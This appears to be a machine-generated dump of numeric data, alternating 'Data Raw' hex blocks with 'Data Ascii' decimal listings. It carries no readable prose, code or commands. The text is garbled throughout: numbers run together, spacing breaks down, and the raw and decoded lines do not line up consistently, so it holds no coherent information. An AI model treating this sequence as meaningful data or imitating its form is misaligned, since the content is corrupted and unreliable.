3020 3532 20 3538 20 35 32 20 38 33 20 31 30 37 20 34 35 20 32 34 37 20 39 20 31 38 20 34 38 20 35 30 20 35 35 20
3337 2038 3220313137 20313039 203131332037 39 20 33 34 20 35

Data Ascii: 107 124 58 50 53 172 45 58 117 109 113 67 120 50 54 85 15 100 109 112 54 56 48 49 67 42 239 20 66 50 48
5171102114117 108 13 61 48 50 50 92 112 114 117 40 168 68 153 54 84 115 8 125 112 50 52 58 52 83 107 45 247 9
18 48 50 55 37 82 117 109 1137934 5

Data Raw: 31 34 20 31 31 37 20 31 30 39 20 31 31 34 20 34 39 20 34 34 20 33 31 20 33 39 20 31 31 34 20 38 34 20 31
313920 31 30 3520 31 30 33 20 33 31 20 33 33 20 32 30 20 31 36 20 38 36 20 31 31 39 20 39 38 20 36 34 20 39 37 20
32 3020 32 3220 32 34 20 37 35 20 39 35 20 31 31 34 20 31 31 37 20 31 30 35 20 39 31 20 32 31 36 20 37 37 20 36 32
20 35 34 20 38 34 20 31 31 38 20 39 34 20 31 33 35 20 31 33 20 36 33 20 34 38 20 35 30 20 35 30 20 31 32 37 20 31 35
322031 31 3720 31 32 36 20 36 34 20 35 32 20 34 38 20 31 38 31 20 35 34 20 38 34 20 31 31 34 20 39 37 20 31 30 39
20 31 31 32 20 33 35 20 35 30 20 33 37 20 31 36 37 20 36 36 20 39 34 20 39 34 20 37 35 20 31 31 35 20 31 38 38 20 38
39 20 33 36 20 32 36 20 31 31 35 20 38 34 20 31 31 34 20 31 31 34 20 31 32

Data Ascii: 14 117 109 114 49 44 31 39 114 84 119 105 103 31 33 20 16 86 119 98 64 97 20 22 24 75 95 114 117 105 91
216 77 62 54 84 118 94 135 13 63 48 50 50 127 152 117 126 64 52 48 181 54 84 114 97 109 112 35 50 37 167 66 94 94
75115 188 89 36 26 11584 114 114 12

Data Raw: 31 30 39 20 31 31 36 20 34 39 20 34 35 20 33 36 20 32 36 20 39 34 20 38 34 20 32 36 20 35 20 31 31 32 20
353020 35 38 20 32 34 20 31 36 20 31 32 37 20 31 35 38 20 38 33 20 37 30 20 31 33 32 20 34 39 20 30 20 35 36 20 35
3420 31 30 3020 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 32 20 37 36 20 31 30
34 20 38 38 20 31 30 33 20 38 36 20 37 33 20 34 30 20 35 30 20 35 34 20 38 30 20 39 35 20 31 31 3520 37 30 20 31 31
3520 32 30 20 32 37 20 31 39 38 20 32 38 20 38 36 20 31 31 31 20 31 30 35 20 36 34 20 39 38 20 32 30 20 37 35 20 34
3220 3534 20 38 34 20 31 31 38 20 31 31 38 20 31 32 30 20 31 30 36 20 33 31 20 35 38 20 32 30 20 38 39 20 36 31 20
31313420 3131372031 30 33 20 39 30 20 32 30 20 32 37 20 32 32 32 20

Data Ascii: 109 116 49 45 36 26 94 84 26 5 112 50 58 24 16 127 158 83 70 132 49 0 56 54 100 114 117 109 112 50 48 50
52 76 104 88 103 86 73 40 50 54 80 95 115 70 115 20 27 198 28 86 111 105 64 98 20 75 42 54 84 118 118 120 106 31 58
2089 61 114 117 103 90 20 27 222

Data Raw: 34 20 31 31 36 20 31 31 32 20 35 30 20 35 32 20 34 39 20 34 30 20 37 37 20 39 35 20 31 32 36 20 37 35 20
31 31 36 20 39 33 20 39 35 20 35 30 20 35 34 20 39 34 20 38 38 20 38 33 20 37 30 20 31 35 35 20 32 30 20 32 37 20 31
39 33 20 35 34 20 38 34 20 31 31 34 20 31 31 38 20 39 33 20 31 32 32 20 35 30 20 32 33 20 35 30 20 35 34 20 38 34 20
313134203131 37 20 31 30 39 20 31 31 32 20 34 38 20 34 33 20 34 33 20 32 37 20 39 34 20 38 34 20 31 34 20 31 31
39 20 31 31 32 20 35 30 20 35 32 20 33 31 20 34 38 20 31 32 37 20 31 31 33 20 38 33 20 37 30 20 31 33 32 20 32 34 20
3530 20 34 32 20 34 32 20 31 32 31 20 31 32 36 20 38 33 20 32 32 20 31 30 36 20 35 30 20 34 38 20 35 34 20 38 39 20
3336 20 31 31 34 20 31 31 37 20 31 30 33 20 39 30 20 32 30 20 32 37 20 31

Data Ascii: 4 116 112 50 52 49 40 77 95 126 75 116 93 95 50 54 94 88 83 70 155 20 27 193 54 84 114 118 93 122 50 23
5054 84 114 117 109 112 48 43 43 27 94 84 14 119 112 50 52 31 48 127 113 83 70 132 24 50 42 42 121 126 83 22 106
5048 54 89 36 114 117 103 90 20 27 1

Data Raw: 31 34 20 31 31 37 20 31 30 35 20 31 31 20 33 36 20 34 38 20 35 30 20 35 30 20 38 31 20 39 30 20 31 39 34
20 3130 39 20 31 31 32 20 35 32 20 32 36 20 35 30 20 35 34 20 38 34 20 31 31 33 20 36 39 20 31 30 33 20 31 31 32 20
36 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 35 20 34 36 20 34 33 20 33 31
20 34 39 20 31 31 34 20 39 30 20 32 33 35 20 31 30 39 20 31 31 32 20 35 32 20 32 36 20 32 30 20 32 39 20 31 36 33 20
3131 34 20 31 31 31 20 36 39 20 32 33 37 20 35 30 20 34 38 20 35 32 20 32 38 20 38 34 20 39 37 20 36 39 20 31 30 35
20 31 31 32 20 31 36 39 20 34 38 20 35 30 20 35 34 20 37 36 20 31 31 34 20 31 31 37 20 31 32 34 20 31 30 35 20 31 39
3120 31 33 39 20 35 30 20 35 34 20 38 35 20 31 30 38 20 37 39 20 31 38 20

Data Ascii: 14 117 105 11 36 48 50 50 81 90 194 109 112 52 26 50 54 84 113 69 103 112 61 48 50 54 84 114 117 109 115
46 43 31 49 114 90 235 109 112 52 26 20 29 163 114 111 69 237 50 48 52 28 84 97 69 105 112 169 48 50 54 76 114 117
124 105 191 139 50 54 85 108 79 18
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Data Raw: 36 36 20 37 39 20 31 38 34 20 35 30 20 35 34 20 38 30 20 38 39 20 31 36 39 20 36 39 20 36 30 20 35 30 20
34 38 20 35 36 20 33 39 20 38 30 20 31 32 31 20 39 33 20 31 32 20 31 31 32 20 35 30 20 35 38 20 32 33 36 20 35 34 20
38 33 20 38 38 20 31 30 39 20 31 38 39 20 31 31 33 20 33 34 20 34 38 20 35 30 20 35 34 20 38 34 20 31 32 32 20 31 31
3720 34 3020 36 31 20 35 30 20 36 33 20 31 31 36 20 35 34 20 38 34 20 31 31 35 20 31 30 32 20 39 33 20 31 31 36 20
3530 20 39 36 20 35 30 20 35 34 20 38 34 20 31 30 35 20 31 31 37 20 31 30 39 20 39 37 20 34 38 20 36 37 20 37 32 20
3534 20 38 34 20 31 32 30 20 31 31 30 20 36 34 20 31 32 33 20 32 30 20 35 35 20 39 33 20 37 3520 38 34 20 31 31 34
2031 32 37 20 36 34 20 31 31 39 20 32 35 20 35 31 20 35 37 20 32 39 20 31

Data Ascii: 66 79 184 50 54 80 89 169 69 60 50 48 56 39 80 121 93 12 112 50 58 236 54 83 88 109 189 113 34 48 50 54
84 122 117 40 61 50 63 116 54 84 115 102 93 116 50 96 50 54 84 105 117 109 97 48 67 72 54 84 120 110 64 123 20 55
937584114127 6411925515729 1

Data Raw: 37 20 31 31 32 20 35 30 20 35 38 20 35 38 20 39 32 20 31 33 20 31 31 36 20 32 35 31 20 32 31 38 20 32 36
203236 20 37 31 20 35 30 20 35 34 20 39 34 20 32 37 20 31 30 32 20 31 30 37 20 39 37 20 35 35 20 35 34 20 35 38 20
33 39 20 38 32 20 32 39 20 32 34 37 20 31 30 39 20 31 31 32 20 35 36 20 36 31 20 35 38 20 36 33 20 31 32 20 31 32 36
203132352031 303720323534 2031333320 332032333020 33392038 31203239 2031322031303920
3131 322035362035 34203234203337203130302031313920313137 20363920 31313220353020 34
3820 34 3520 35 34 20 38 34 20 39 39 20 31 31 39 20 31 31 36 20 31 30 34 20 36 35 20 37 30 20 35 30 20 35 34 20 39
3420 31 30 38 20 38 38 20 31 31 39 20 38 36 20 35 32 20 35 32 20 39 33 20

Data Ascii: 7 112 50 58 58 92 13 116 251 218 26 26 71 50 54 94 27 102 107 97 55 54 58 39 82 29 247 109 112 56 61 58
63 12 126 125 107 254 133 3 230 3981 29 12 109 112 56 54 24 37 100 119 117 69 112 50 48 45 54 84 99 119 116 104 6
570505494 108 88 119 86 52 52 93

Data Raw: 32 32 20 39 33 20 31 32 31 20 38 34 20 31 31 34 20 31 31 35 20 37 30 20 39 39 20 32 30 20 32 37 20 31 39
36 20 35 32 20 37 39 20 31 30 30 20 38 39 20 31 30 31 20 38 36 20 39 33 20 39 36 20 35 30 20 35 34 20 38 32 20 38 39
20 31 31 38 20 37 35 20 39 31 20 31 39 36 20 32 36 20 35 30 20 35 34 20 38 37 20 36 36 20 31 32 34 20 31 30 39 20 39
3120 353020 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 31 31 20 31 31 20 32 33 20 34 38 20 35
3020 353020313230 20313135203935203131312031303320333620323820333620313620313134
203131 322031342037352031313220353020 35 32203336 203532203437 2038 3620313137203130
3920 31 31 36 20 39 33 20 31 38 33 20 35 30 20 35 34 20 39 34 20 38 34 20

Data Ascii: 22 93 121 84 114 115 70 99 20 27 196 52 79 100 89 101 86 93 96 50 54 82 89 118 75 91 196 26 50 54 87 66
124109 91 5048 50 54 84 114 117 111 11 23 48 50 50 120 115 95 111 103 36 28 36 16 114 112 14 75 112 50 52 36 52
47 86 117 109 116 93 183 50 54 94 84

Data Raw: 37 20 31 32 35 20 31 31 34 20 31 31 37 20 31 30 35 20 31 30 35 20 33 31 20 35 37 20 32 30 20 34 38 20 31
323420323531 2031 313720313039 20 31323220 3235203531 20 35 36 20 32 39 20 31 36 31 20 31 31 32 20
3134 20 36 38 20 31 31 32 20 35 30 20 35 32 20 34 39 20 38 39 20 32 31 36 20 31 31 34 20 31 31 37 20 31 30 33 20 39
3220323920 35302037 332033312038 34203131342031313320313130203331203139312034 3820
3530 20 36 30 20 38 30 20 39 30 20 33 39 20 31 30 39 20 31 31 32 20 35 36 20 39 35 20 39 37 20 35 34 20 38 34 20 31
323020383920313131203137342031313320353020373320333120383420313134203131332031
313020 31 31 36 20 32 36 20 39 38 20 35 30 20 35 34 20 39 34 20 32 39 20

Data Ascii: 7 125 114 117 105 105 31 57 20 48 124 251 117 109 122 25 51 56 29 161 112 14 68 112 50 52 49 89 216 114
117 10392 29 50 73 31 84 114 113 110 31 191 48 50 60 80 90 39 109 112 56 95 97 54 84 120 89 111 174 113 50 73 31
84114 113 110 116 26 98 50 54 94 29

Data Raw: 32 20 32 35 20 31 32 20 38 38 20 38 39 20 31 35 33 20 31 30 32 20 39 31 20 32 30 32 20 35 36 20 33 32 20
34 3820 37 30 20 31 31 35 20 39 33 20 32 35 34 20 31 31 32 20 35 30 20 35 38 20 33 33 20 35 30 20 37 30 20 31 31 38
20 39 33 20 32 34 39 20 31 31 32 20 35 30 20 35 38 20 33 32 20 35 35 20 31 32 34 20 32 32 35 20 31 31 37 20 31 30 39
20 31 32 3220 33 33 20 35 33 20 33 32 20 35 31 20 31 32 34 20 32 33 31 20 31 31 37 20 31 30 39 20 31 32 32 20 32 36
20 39 38 20 35 30 20 35 34 20 39 34 20 39 30 20 32 32 37 20 31 30 39 20 31 31 32 20 35 36 20 33 33 20 35 32 20 38 39
2031 3935203131 3420313137 203130332039 38 20 35 31 20 32 34 20 31 37 30 20 35 34 20 38 34 20 31 32 30
20 38 38 20 31 37 34 20 31 32 30 20 39 33 20 31 36 39 20 35 30 20 35 34 20

Data Ascii: 2 25 12 88 89 153 102 91 202 56 32 48 70 115 93 254 112 50 58 33 50 70 118 93 249 112 50 58 32 55 124
225117 109 122 33 53 32 51 124 231 117 109 122 26 98 50 54 94 90 227 109 112 56 33 52 89 195 114 117 103 98 51 24
17054 84 120 88 174 120 93 169 50 54

Data Raw: 35 32 20 32 34 20 37 38 20 35 34 20 38 34 20 31 31 36 20 39 33 20 31 35 20 31 31 32 20 35 30 20 35 34 20
32 36 20 38 32 20 38 34 20 31 31 34 20 31 31 35 20 31 39 20 37 31 20 35 30 20 34 38 20 35 34 20 32 36 20 39 34 20 39
3020 31 38 20 31 30 39 20 31 31 32 20 35 32 20 32 34 20 38 34 20 35 34 20 38 34 20 31 31 36 20 39 33 20 32 34 30 20
31 31 3220 35 30 20 35 34 20 32 36 20 31 30 35 20 38 34 20 31 31 34 20 31 31 35 20 36 39 20 32 35 30 20 35 30 20 34
38 20 35 32 20 32 38 20 38 34 20 31 31 34 20 31 31 37 20 31 31 30 20 36 34 20 35 34 20 34 38 20 37 37 20 35 34 20 38
342031 31342031 31 37 20 31 30 39 20 31 31 32 20 35 30 20 32 34 20 31 38 33 20 35 34 20 38 34 20 31 31 36 20 31
31 31 20 36 34 20 30 20 32 30 20 37 38 20 31 31 33 20 35 34 20 38 34 20 31

Data Ascii: 52 24 78 54 84 116 93 15 112 50 54 26 82 84 114 115 19 71 50 48 54 26 94 90 18 109 112 52 24 84 54 84 116
93240 112 50 54 26 105 84 114 115 69 250 50 48 52 28 84 114 117 110 64 54 48 77 54 84 114 117 109 112 50 24 183 54
84116111640207811354841

Data Raw: 31 31 33 20 31 30 39 20 33 20 35 30 20 34 38 20 35 30 20 31 37 20 38 34 20 31 31 34 20 31 30 30 20 37 37
20 33 34 20 31 38 20 32 32 34 20 34 34 20 33 30 20 31 37 31 20 31 31 34 20 31 31 37 20 31 30 37 20 38 38 20 31 33 35
20 34 38 20 35 30 20 34 38 20 34 32 20 36 34 20 31 31 37 20 31 30 39 20 31 31 36 20 39 33 20 31 36 32 20 35 30 20 35
342039 34 20 31 30 36 20 38 38 20 31 31 30 20 38 36 20 32 35 20 31 30 20 35 37 20 32 39 20 31 37 3520 39 36 20 31
31 36 20 36 39 20 32 32 37 20 35 30 20 34 38 20 35 36 20 34 34 20 31 32 31 20 38 38 20 38 33 20 37 37 20 32 20 31 38
20 32 32 34 20 34 34 20 33 30 20 31 37 31 20 31 31 34 20 31 31 37 20 31 30 37 20 39 38 20 35 30 20 32 34 20 31 36 36
20 35 34 20 38 34 20 31 32 30 20 31 30 33 20 31 30 39 20 38 38 20 31 36 37

Data Ascii: 113 109 3 50 48 50 17 84 114 100 77 34 18 224 44 30 171 114 117 107 88 135 48 50 48 42 64 117 109 116 93
162 50 54 94 106 88 110 86 25 10 57 29 175 96 116 69 227 50 48 56 44 121 88 83 77 2 18 224 4430 171 114 117 107 98
50 24 166 54 84 120 103 109 88 167

Data Raw: 31 30 34 20 35 30 20 34 38 20 34 31 20 38 39 20 35 35 20 31 31 34 20 31 31 37 20 31 30 33 20 31 37 32 20
32 3336 20 31 36 20 32 33 20 33 30 20 32 34 20 31 31 34 20 31 31 37 20 31 30 33 20 39 39 20 35 33 20 33 33 20 35 33
20 32 32 20 36 34 20 38 32 20 31 36 35 20 31 31 35 20 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20 31 32 34 20 31
39 38 20 31 31 37 20 31 30 39 20 31 31 38 20 32 36 20 38 31 20 35 30 20 35 34 20 39 34 20 31 37 32 20 31 31 37 20 37
3120 31 30 33 20 33 37 20 34 39 20 32 36 20 35 34 20 38 34 20 31 31 32 20 31 31 37 20 31 39 20 31 31 3220 31 31 32
20 32 34 30 20 35 30 20 35 36 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 34 20 35 30 20 32 35 34 20 35 30
203239203137 33203131342031323320313039 203131322035

Data Ascii: 104 50 48 41 89 55 114 117 103 172 236 16 23 30 24 114 117 103 99 53 33 53 22 64 82 165 115 88 205 48 50
48 124 198 117 109 118 26 81 50 54 94 172 117 71 103 37 49 26 54 84 112 117 19 112 112 240 50 56 84 114 117 109 1
14502545029 173114 123109 1125
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Data Raw: 38 34 20 31 31 38 20 39 33 20 31 33 20 31 31 33 20 35 30 20 35 34 20 31 37 38 20 30 20 38 34 20 31 31 34
203131332031313720313231203138382031333520333720313131203731203131372031303220
31 30 35 20 37 32 20 32 31 36 20 34 38 20 35 30 20 35 34 20 37 30 20 31 31 39 20 31 33 39 20 31 32 30 20 39 36 20 35
30 20 34 38 20 34 38 20 33 36 20 38 31 20 31 32 33 20 31 30 30 20 31 30 35 20 32 33 34 20 37 35 20 31 32 30 20 35 30
203534 2038352033 2036 31 20 31 30 3920 31 31 32 20 35 31 20 37 37 20 34 35 20 35 34 20 38 34 20 31 31 38 20
313033203130342031323120333520353220333720313130203230362031312037312031303920
31313220 35312036 3520 3020 35 34 20 38 34 20 31 31 3520 38 20 31

Data Ascii: 84 118 93 13 113 50 54 178 0 84 114 113 117 121 188 135 37 111 71 117 102 105 72 216 48 50 54 70 119
139 120 96 50 48 48 36 81 123 100 105 234 75 120 50 54 85 3 61 109 112 51 77 45 54 84 118 103 104 121 35 52 37 110
2061171109 112516505484 1158 1

Data Raw: 20 34 36 20 31 30 39 20 31 31 32 20 35 36 20 32 37 20 34 39 20 35 38 20 31 32 37 20 31 34 36 20 31 31 20
38 3720 31 31 32 20 35 30 20 35 32 20 39 33 20 31 30 34 20 38 34 20 31 31 34 20 31 32 37 20 31 32 33 20 39 32 20 34
3920 32 32 20 32 35 20 31 30 32 20 37 31 20 31 31 39 20 39 34 20 31 35 31 20 39 38 20 35 35 20 32 34 20 31 30 39 20
353420383420313230203132302031303020313120333220343820353020353020313231203131
322039342038 372031323020 35392037 352033 35203534 20383420313138203234392033372031
313220 35302034 39 20 39 33 20 31 30 39 20 38 34 20 31 31 34 20 31 32 37 20 31 30 31 20 31 32 31 20 37 33 20 36
3320 35 30 20 35 34 20 38 30 20 32 35 34 20 37 31 20 31 30 39 20 31 31 32

Data Ascii: 46 109 112 56 27 49 58 127 146 11 87 112 50 52 93 104 84 114 127 123 92 49 22 25 102 71 119 94 151 98
5524 109 54 84 120 120 100 11 32 48 50 50 121 112 94 87 120 59 75 35 54 84 118 249 37 112 50 49 93 109 84 114 127
101 121 73 63 50 54 80 254 71 109 112

Data Raw: 34 20 31 31 33 20 31 30 31 20 39 38 20 35 30 20 37 35 20 31 36 20 35 34 20 38 34 20 31 31 38 20 38 20 31
323620 31 31 32 20 35 30 20 35 32 20 35 38 20 33 36 20 38 34 20 39 20 38 34 20 31 30 39 20 31 31 32 20 35 34 20 37
37 20 33 38 20 35 34 20 38 34 20 31 31 38 20 31 30 33 20 31 30 39 20 31 31 20 31 36 20 34 38 20 35 30 20 35 30 20 39
322039302039 3120313038203131322035 32203237 203532203631 20313237 2032303820313237
2037 3020323138 20333220 35312032362031333320383420313134203132372036342032353120
3233 36 20 36 3220 33 32 20 3533 20 31 37 30 20 31 30 30 20 39 39 20 31 30 39 20 31 31 32 20 34 31 20 39 35 20 38
3120 35 34 20 38 34 20 31 32 30 20 31 36 39 20 31 39 20 39 32 20 35 30 20

Data Ascii: 4 113 101 98 50 75 16 54 84 118 8 126 112 50 52 58 36 84 9 84 109 112 54 77 38 54 84 118 103 109 11 16 48
505092 90 91 108 112 52 27 52 61 127 208 127 70 218 32 51 26 133 84 114 127 64 251 236 62 32 53 170 100 99 109
112 41 95 81 54 84 120 169 19 92 50

Data Raw: 31 35 20 32 33 20 31 33 32 20 31 30 38 20 39 33 20 31 34 36 20 31 31 32 20 35 30 20 35 34 20 37 36 20 37
372038 34 20 31 31 34 20 31 31 33 20 32 32 35 20 38 30 20 35 30 20 34 38 20 35 31 20 38 39 20 31 32 20 31 31 34 20
313137 2031 30 37 20 31 34 20 39 20 34 38 20 35 30 20 35 30 20 31 31 36 20 34 20 38 34 20 31 38 39 20 31 31 30 20
323620323037 20 35 30 20 35 34 20 38 32 20 31 32 20 39 20 31 30 39 20 31 31 32 20 35 34 20 31 38 38 20 31 38 20
3534 20 38 3420 31 31 35 20 32 36 20 35 33 20 31 31 32 20 35 30 20 35 34 20 37 36 20 31 33 20 38 34 20 31 31 34 20
3131332037 37203239 203139203232342034342033302031373120313134203131372031303720
3134 20 37 39 20 34 38 20 35 30 20 35 30 20 35 39 20 34 32 20 31 31 37 20

Data Ascii: 15 23 132 108 93 146 112 50 54 76 77 84 114 113 225 80 50 48 51 89 12 114 117 107 14 9 48 50 50 116 4 84
189 110 26 207 50 54 82 12 9 109 112 54 188 18 54 84 115 26 53 112 50 54 76 13 84 114 113 77 29 19 224 44 30 171
114 117 107 14 79 48 50 50 59 42 117

Data Raw: 35 33 20 31 31 34 20 31 31 37 20 31 30 33 20 31 37 34 20 35 30 20 32 36 20 35 31 20 33 38 20 38 34 20 31
313420 31 31 37 20 31 30 39 20 39 38 20 35 30 20 39 39 20 38 37 20 35 34 20 37 34 20 35 32 20 31 31 37 20 31 30 39
20 31 31 33 20 33 33 20 30 20 35 32 20 35 34 20 38 35 20 31 31 35 20 31 31 37 20 31 30 39 20 39 34 20 35 30 20 34 38
20 33 3520 33 30 20 35 38 20 31 31 34 20 31 31 37 20 31 30 37 20 31 30 32 20 33 30 20 35 37 20 32 30 20 34 39 20 31
3039 20 31 33 30 20 31 31 37 20 31 30 39 20 31 31 32 20 32 35 20 35 31 20 35 37 20 32 39 20 31 36 31 20 31 31 37 20
36 20 31 37 30 20 31 31 32 20 35 30 20 35 38 20 34 33 20 31 32 20 31 33 33 20 31 31 34 20 31 31 37 20 31 30 39 20 38
36 20 33 35 20 35 33 20 36 35 20 32 35 34 20 38 34 20 31 31 34 20 31 32 37

Data Ascii: 53 114 117 103 174 50 26 51 38 84 114 117 109 98 50 99 87 54 74 52 117 109 113 33 0 52 54 85 115 117 109
94 50 48 35 30 58 114 117 107 102 30 57 20 49 109 130 117 109 112 25 51 57 29 161 117 6 170 112 50 58 43 12 133 114
117 109 86 35 53 65 254 84 114 127

Data Raw: 35 34 20 39 34 20 31 31 36 20 31 30 39 20 35 33 20 31 32 32 20 35 32 20 35 37 20 33 20 31 35 37 20 31 32
36 20 39 37 20 36 39 20 31 30 34 20 31 31 32 20 32 33 35 20 34 38 20 35 30 20 35 34 20 31 30 30 20 31 31 34 20 31 31
37 20 31 32 34 20 31 31 34 20 31 38 38 20 31 33 35 20 33 36 20 35 20 38 35 20 38 38 20 31 31 39 20 31 32 33 20 32 33
34 20 37 35 20 32 20 35 30 20 35 34 20 38 35 20 33 20 37 31 20 31 30 39 20 31 31 32 20 35 31 20 33 38 20 33 30 20 33
3020 31 31 34 20 31 31 32 20 39 38 20 32 34 37 20 34 20 35 36 20 34 38 20 35 30 20 34 35 20 37 34 20 39 35 20 38 36
20 37 35 20 31 34 20 35 20 34 38 20 35 30 20 35 30 20 31 32 34 20 31 38 20 31 31 36 20 31 30 39 20 31 31 38 20 34 33
20 32 39 20 34 36 20 31 36 20 37 36 20 31 31 32 20 32 35 31 20 32 31 38 20

Data Ascii: 54 94 116 109 53 122 52 57 3 157 126 97 69 104 112 235 48 50 54 100 114 117 124 114 188 135 36 5 85 88
119123234 75250 54 853 71 109 112 51 38 30 30 114 112 98 247 4 56 48 50 45 74 95 86 75 14 5 48 50 50 124 18 116
109 118 43 29 46 16 76 112 251 218

Data Raw: 38 20 38 34 20 31 31 36 20 39 35 20 31 30 39 20 31 31 32 20 33 33 20 30 20 35 32 20 35 34 20 39 38 20 31
313420 31 31 37 20 31 30 39 20 36 36 20 35 30 20 34 38 20 33 35 20 33 36 20 38 35 20 31 31 32 20 31 31 30 20 31 32
322039 33 20 32 37 20 32 32 20 32 32 36 20 31 38 37 20 38 34 20 31 31 34 20 31 31 36 20 36 39 20 35 34 20 35 30 20
34 38 20 35 36 20 33 32 20 35 39 20 31 36 32 20 31 31 37 20 31 30 39 20 31 32 32 20 33 36 20 31 37 30 20 37 30 20 31
38 37 20 38 34 20 31 31 34 20 31 31 36 20 32 20 31 36 31 20 35 30 20 34 38 20 35 36 20 33 30 20 31 33 34 20 31 31 34
2031 31 37 20 31 30 33 20 31 31 39 20 34 33 20 34 35 20 33 31 20 35 31 20 31 31 34 20 38 38 20 38 33 20 37 30 20 31
36 35 20 32 30 20 32 37 20 32 30 33 20 35 34 20 38 34 20 39 37 20 36 39 20

Data Ascii: 8 84 116 95 109 112 33 0 52 54 98 114 117 109 66 50 48 35 36 85 112 110 122 93 27 22 226 187 84 114 116
69 54 50 48 56 32 59 162 117 109 122 36 170 70 187 84 114 116 2 161 50 48 56 30 134 114 117 103 119 434531 51 11
488 83 70 165 20 27 203 54 84 97 69

Data Raw: 30 20 31 37 31 20 31 30 39 20 31 31 32 20 35 36 20 35 35 20 31 38 20 32 30 34 20 38 34 20 31 31 34 20 31
313720 35 33 20 31 32 33 20 35 33 20 35 36 20 33 20 31 34 32 20 31 32 34 20 32 35 30 20 31 31 37 20 31 30 39 20 31
3138 20 32 34 20 31 32 36 20 32 36 20 31 31 39 20 38 35 20 31 31 34 20 31 31 35 20 31 32 33 20 39 34 20 35 36 20 32
342031 31 35 20 35 35 20 38 34 20 31 31 36 20 39 33 20 31 37 39 20 31 31 32 20 35 30 20 35 38 20 32 34 20 31 32 30
2031 3234 2037 33 20 31 31 36 20 31 30 39 20 31 31 38 20 33 31 20 34 39 20 32 34 20 33 30 20 31 33 39 20 31 31 34
20 31 31 37 20 31 30 33 20 38 38 20 31 38 32 20 34 38 20 35 30 20 34 38 20 31 32 36 20 31 30 35 20 36 39 20 31 31 30
20 31 31 32 20 36 36 20 34 38 20 35 30 20 35 34 20 39 38 20 31 31 34 20 31

Data Ascii: 0 171 109 112 56 55 18 204 84 114 117 53 123 53 56 3 142 124 250 117 109 118 24 126 26 119 85 114 115
123 94 56 24 11555 84 116 93 179 112 50 58 24 120 124 73 116 109 118 31 49 24 30 139 114 117 103 88 182 48 50 48
126 105 69 110 112 66 48 50 54 98 114 1
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Data Raw: 39 20 31 36 32 20 31 30 37 20 36 39 20 31 34 33 20 35 30 20 34 38 20 35 32 20 33 30 20 31 33 39 20 31 31
342031 31 37 20 31 30 33 20 33 31 20 32 31 38 20 34 38 20 35 30 20 36 30 20 37 33 20 39 35 20 39 36 20 37 35 20 31
34 20 37 37 20 34 38 20 35 30 20 35 30 20 39 32 20 38 32 20 31 30 31 20 37 34 20 31 31 32 20 35 30 20 32 34 20 31 39
3120 3534 20 38 34 20 31 31 36 20 38 39 20 39 38 20 39 31 20 34 39 20 36 30 20 32 35 20 32 32 33 20 31 32 34 20 31
37 332031313720313039203132322032 362031373920 3530203534 20 38 32 20 39 30 20 36 36 20 31 30
382031 313220353220 3920 31383220353420383420313134203131342037372031363320313720
323234 20343420333020313731203131342031313720313037

Data Ascii: 9 162 107 69 143 50 48 52 30 139 114 117 103 31 218 48 50 60 73 95 96 75 14 77 48 50 50 92 82 101 74 112
5024 191 54 84 116 89 98 91 49 60 25 223 124 173 117 109 122 26 179 50 54 82 90 66 108 112 52 9 182 54 84 114 114
77163 17 224 44 30 171 114 117 107

Data Raw: 20 34 38 20 35 30 20 36 30 20 36 37 20 31 34 30 20 31 31 36 20 37 31 20 31 31 32 20 35 30 20 33 35 20 32
20 3533 20 38 34 20 38 34 20 31 31 37 20 31 30 39 20 31 31 32 20 31 31 20 34 38 20 35 30 20 33 39 20 31 32 34 20 31
3520 31 31 37 20 31 30 39 20 31 31 38 20 33 31 20 35 30 20 33 37 20 32 38 20 31 32 34 20 31 33 30 20 31 31 37 20 31
303920 313232 20 36 35 20 31 39 33 20 35 30 20 35 34 20 39 34 20 31 30 37 20 38 38 20 39 36 20 38 36 20 35 33 20
313620 31 3820 35 32 20 38 34 20 31 31 34 20 32 36 20 31 35 39 20 31 31 32 20 35 30 20 35 38 20 32 34 20 36 31 20
313237203133312031313720313039203939203220353120353020313220383420313134203131
372038 37 20 31 31 32 20 35 30 20 33 33 20 31 38 20 31 34 37 20 31 31 39

Data Ascii: 48 50 60 67 140 116 71 112 50 35 2 53 84 84 117 109 112 11 48 50 39 124 15 117 109 118 31 50 37 28 124
130117 109 122 65 193 50 54 94 107 88 96 86 53 16 18 52 84 114 26 159 112 50 58 24 61 127 131 117 109 99 2 51 50
1284114117 87 11250 33 18 147 119

Data Raw: 31 32 20 35 31 20 34 33 20 32 20 35 33 20 38 34 20 33 30 20 31 31 37 20 31 30 39 20 31 31 32 20 31 35 20
34 3820 35 30 20 33 39 20 34 32 20 31 35 20 31 31 37 20 31 30 39 20 31 31 36 20 31 38 20 32 32 34 20 32 32 20 32 33
3020 37 34 20 39 30 20 31 33 38 20 31 30 39 20 31 31 32 20 35 32 20 32 34 20 31 35 34 20 35 34 20 38 34 20 31 32 30
2031 3034 20 36 34 20 31 32 33 20 32 30 20 35 35 20 32 36 20 31 35 32 20 38 34 20 31 31 34 20 31 32 37 20 36 34 20
3131392032352035 31203537 203239203136 37 20 31 30 32 20 39 35 20 31 30 36 20 38 38 20 32 30 31 20 34
3820 3530 20 36 30 20 37 37 20 39 35 20 31 32 36 20 37 35 20 31 32 30 20 32 36 20 31 35 38 20 35 30 20 35 34 20 39
3420 39 34 20 31 32 32 20 37 30 20 31 31 35 20 36 32 20 32 37 20 31 39 33

Data Ascii: 12 51 43 2 53 84 30 117 109 112 15 48 50 39 42 15 117 109 116 18 224 22 230 74 90 138 109 112 52 24 154
54 84 120 104 64 123 20 55 26 152 84 114 127 64 119 25 51 57 29 167 102 95 106 88 201 48 50 60 77 95 126 75 120 26
158 50 54 94 94 122 70 115 62 27 193

Data Raw: 32 30 20 32 34 20 31 32 37 20 35 35 20 38 34 20 31 31 36 20 31 30 33 20 31 31 31 20 38 38 20 32 30 34 20
34 38 20 35 30 20 36 30 20 31 32 30 20 31 32 35 20 39 34 20 31 30 37 20 31 32 34 20 32 35 20 32 31 32 20 36 33 20 32
3920 31 39 30 20 31 32 33 20 31 32 35 20 32 20 31 34 33 20 35 30 20 34 38 20 35 36 20 33 30 20 32 36 20 31 31 35 20
